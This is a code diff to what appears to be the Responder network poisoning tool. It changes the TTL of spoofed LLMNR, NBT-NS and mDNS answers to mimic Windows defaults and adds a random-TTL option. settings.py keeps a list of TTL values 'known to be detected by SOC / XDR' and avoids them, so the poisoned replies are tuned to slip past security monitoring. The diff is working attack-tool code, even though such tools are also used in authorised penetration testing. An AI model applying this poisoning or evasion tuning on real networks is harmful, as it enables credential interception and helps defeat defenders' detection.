diff --git a/Responder.py b/Responder.py
index 49fab8e..bbd3c7a 100755
--- a/Responder.py
+++ b/Responder.py
@@ -45,7 +45,7 @@ parser.add_option('-Q','--quiet',           action="store_true", help="Tell Resp
 parser.add_option('--lm',                  action="store_true", help="Force LM hashing downgrade for Windows XP/2003 and earlier. Default: False", dest="LM_On_Off", default=False)
 parser.add_option('--disable-ess',         action="store_true", help="Force ESS downgrade. Default: False", dest="NOESS_On_Off", default=False)
 parser.add_option('-v','--verbose',        action="store_true", help="Increase verbosity.", dest="Verbose")
-parser.add_option('-t','--ttl',      action="store",      help="Configure the TTL in the victim cache. Value in hex (30 seconds = 1e)", dest="TTL", metavar="1e", default=None)
+parser.add_option('-t','--ttl',            action="store",      help="Change the default Windows TTL for poisoned answers. Value in hex (30 seconds = 1e). use '-t random' for random TTL", dest="TTL", metavar="1e", default=None)
 options, args = parser.parse_args()
 
 if not os.geteuid() == 0:
diff --git a/packets.py b/packets.py
index 3ec9dec..bb3134e 100644
--- a/packets.py
+++ b/packets.py
@@ -52,7 +52,7 @@ class NBT_Ans(Packet):
 		("NbtName",       ""),
 		("Type",          "\x00\x20"),
 		("Classy",        "\x00\x01"),
-		("TTL",           "\x00\x00\x00\xa5"),
+		("TTL",           "\x00\x04\x93\xe0"), #TTL: 3 days, 11 hours, 20 minutes (Default windows behavior)
 		("Len",           "\x00\x06"),
 		("Flags1",        "\x00\x00"),
 		("IP",            "\x00\x00\x00\x00"),
@@ -263,7 +263,7 @@ class LLMNR_Ans(Packet):
 		("AnswerNameNull",   "\x00"),
 		("Type1",            "\x00\x01"),
 		("Class1",           "\x00\x01"),
-		("TTL",              "\x00\x00\x00\x1e"),##Poison for 30 sec.
+		("TTL",              "\x00\x00\x00\x1e"),##Poison for 30 sec (Default windows behavior)
 		("IPLen",            "\x00\x04"),
 		("IP",               "\x00\x00\x00\x00"),
 	])
@@ -292,7 +292,7 @@ class LLMNR6_Ans(Packet):
 		("AnswerNameNull",   "\x00"),
 		("Type1",            "\x00\x1c"),
 		("Class1",           "\x00\x01"),
-		("TTL",              "\x00\x00\x00\x1e"),##Poison for 30 sec.
+		("TTL",              "\x00\x00\x00\x1e"),##Poison for 30 sec (Default windows behavior).
 		("IPLen",            "\x00\x04"),
 		("IP",               "\x00\x00\x00\x00"),
 	])
@@ -316,7 +316,7 @@ class MDNS_Ans(Packet):
 		("AnswerNameNull",   "\x00"),
 		("Type",             "\x00\x01"),
 		("Class",            "\x00\x01"),
-		("TTL",              "\x00\x00\x00\x78"),##Poison for 2mn.
+		("TTL",              "\x00\x00\x00\x78"),##Poison for 2mn (Default windows behavior)
 		("IPLen",            "\x00\x04"),
 		("IP",               "\x00\x00\x00\x00"),
 	])
@@ -338,7 +338,7 @@ class MDNS6_Ans(Packet):
 		("AnswerNameNull",   "\x00"),
 		("Type",             "\x00\x1c"),
 		("Class",            "\x00\x01"),
-		("TTL",              "\x00\x00\x00\x78"),##Poison for 2mn.
+		("TTL",              "\x00\x00\x00\x78"),##Poison for 2mn (Default windows behavior)
 		("IPLen",            "\x00\x04"),
 		("IP",               "\x00\x00\x00\x00"),
 	])
diff --git a/poisoners/LLMNR.py b/poisoners/LLMNR.py
index e130273..36fe7c3 100755
--- a/poisoners/LLMNR.py
+++ b/poisoners/LLMNR.py
@@ -76,7 +76,11 @@ class LLMNR(BaseRequestHandler):  # LLMNR Server class
 							})
 
 				elif LLMNRType == True:  # Poisoning Mode
-					Buffer1 = LLMNR_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name, TTL=settings.Config.TTL)
+					#Default:
+					if settings.Config.TTL == None:
+						Buffer1 = LLMNR_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name)
+					else:
+						Buffer1 = LLMNR_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name, TTL=settings.Config.TTL)
 					Buffer1.calculate()
 					soc.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address)
 					if not settings.Config.Quiet_Mode:
@@ -90,7 +94,11 @@ class LLMNR(BaseRequestHandler):  # LLMNR Server class
 							})
 
 				elif LLMNRType == 'IPv6' and Have_IPv6:
-					Buffer1 = LLMNR6_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name, TTL=settings.Config.TTL)
+					#Default:
+					if settings.Config.TTL == None:
+						Buffer1 = LLMNR6_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name)
+					else:
+						Buffer1 = LLMNR6_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name, TTL=settings.Config.TTL)
 					Buffer1.calculate()
 					soc.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address)
 					if not settings.Config.Quiet_Mode:
diff --git a/poisoners/MDNS.py b/poisoners/MDNS.py
index b1049bc..3ef0c7c 100755
--- a/poisoners/MDNS.py
+++ b/poisoners/MDNS.py
@@ -73,7 +73,11 @@ class MDNS(BaseRequestHandler):
 						})
 			elif MDNSType == True:  # Poisoning Mode
 				Poisoned_Name = Poisoned_MDNS_Name(data)
-				Buffer = MDNS_Ans(AnswerName = Poisoned_Name, TTL=settings.Config.TTL)
+				#Use default:
+				if settings.Config.TTL == None:
+					Buffer = MDNS_Ans(AnswerName = Poisoned_Name)
+				else:
+					Buffer = MDNS_Ans(AnswerName = Poisoned_Name, TTL=settings.Config.TTL)
 				Buffer.calculate()
 				soc.sendto(NetworkSendBufferPython2or3(Buffer), self.client_address)
 				if not settings.Config.Quiet_Mode:
@@ -85,9 +89,13 @@ class MDNS(BaseRequestHandler):
 						'AnalyzeMode': '0',
 						})
 
-			elif MDNSType == 'IPv6'and Have_IPv6:  # Poisoning Mode
+			elif MDNSType == 'IPv6' and Have_IPv6:  # Poisoning Mode
 				Poisoned_Name = Poisoned_MDNS_Name(data)
-				Buffer = MDNS6_Ans(AnswerName = Poisoned_Name)
+				#Use default:
+				if settings.Config.TTL == None:
+					Buffer = MDNS6_Ans(AnswerName = Poisoned_Name)
+				else:
+					Buffer = MDNS6_Ans(AnswerName = Poisoned_Name, TTL= settings.Config.TTL)
 				Buffer.calculate()
 				soc.sendto(NetworkSendBufferPython2or3(Buffer), self.client_address)
 				if not settings.Config.Quiet_Mode:
diff --git a/poisoners/NBTNS.py b/poisoners/NBTNS.py
index 446dc06..ff3a1cd 100755
--- a/poisoners/NBTNS.py
+++ b/poisoners/NBTNS.py
@@ -44,7 +44,10 @@ class NBTNS(BaseRequestHandler):
 							'AnalyzeMode': '1',
 							})
 				else:  # Poisoning Mode
-					Buffer1 = NBT_Ans(TTL=settings.Config.TTL)
+					if settings.Config.TTL == None:
+						Buffer1 = NBT_Ans()
+					else:
+						Buffer1 = NBT_Ans(TTL=settings.Config.TTL)
 					Buffer1.calculate(data)
 					socket.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address)
 					if not settings.Config.Quiet_Mode:
diff --git a/settings.py b/settings.py
index ea895f3..bdca9c2 100644
--- a/settings.py
+++ b/settings.py
@@ -175,8 +175,12 @@ class Settings:
 
 		# TTL blacklist. Known to be detected by SOC / XDR
 		TTL_blacklist = [b"\x00\x00\x00\x1e", b"\x00\x00\x00\x78", b"\x00\x00\x00\xa5"]
-		# Random TTL
+		# Lets add a default mode, which uses Windows default TTL for each protocols (set respectively in packets.py)
 		if options.TTL is None:
+			self.TTL = None
+			
+		# Random TTL
+		elif options.TTL.upper() == "RANDOM":
 			TTL = bytes.fromhex("000000"+format(random.randint(10,90),'x'))
 			if TTL in TTL_blacklist:
 				TTL = int.from_bytes(TTL, "big")+1
diff --git a/utils.py b/utils.py
index b216ca1..8eb15ca 100644
--- a/utils.py
+++ b/utils.py
@@ -559,7 +559,10 @@ def StartupMessage():
 		print('    %-27s' % "Don't Respond To" + color(str(settings.Config.DontRespondTo), 5, 1))
 	if len(settings.Config.DontRespondToName):
 		print('    %-27s' % "Don't Respond To Names" + color(str(settings.Config.DontRespondToName), 5, 1))
-	print('    %-27s' % "TTL for poisoned response" + color(str(settings.Config.TTL.encode().hex()) + " ("+ str(int.from_bytes(str.encode(settings.Config.TTL),"big")) +" seconds)", 5, 1))
+	if settings.Config.TTL == None:
+		print('    %-27s' % "TTL for poisoned response "+ color('[default]', 5, 1))
+	else:
+		print('    %-27s' % "TTL for poisoned response" + color(str(settings.Config.TTL.encode().hex()) + " ("+ str(int.from_bytes(str.encode(settings.Config.TTL),"big")) +" seconds)", 5, 1))
 	print('')
 
 	print(color("[+] ", 2, 1) + "Current Session Variables:")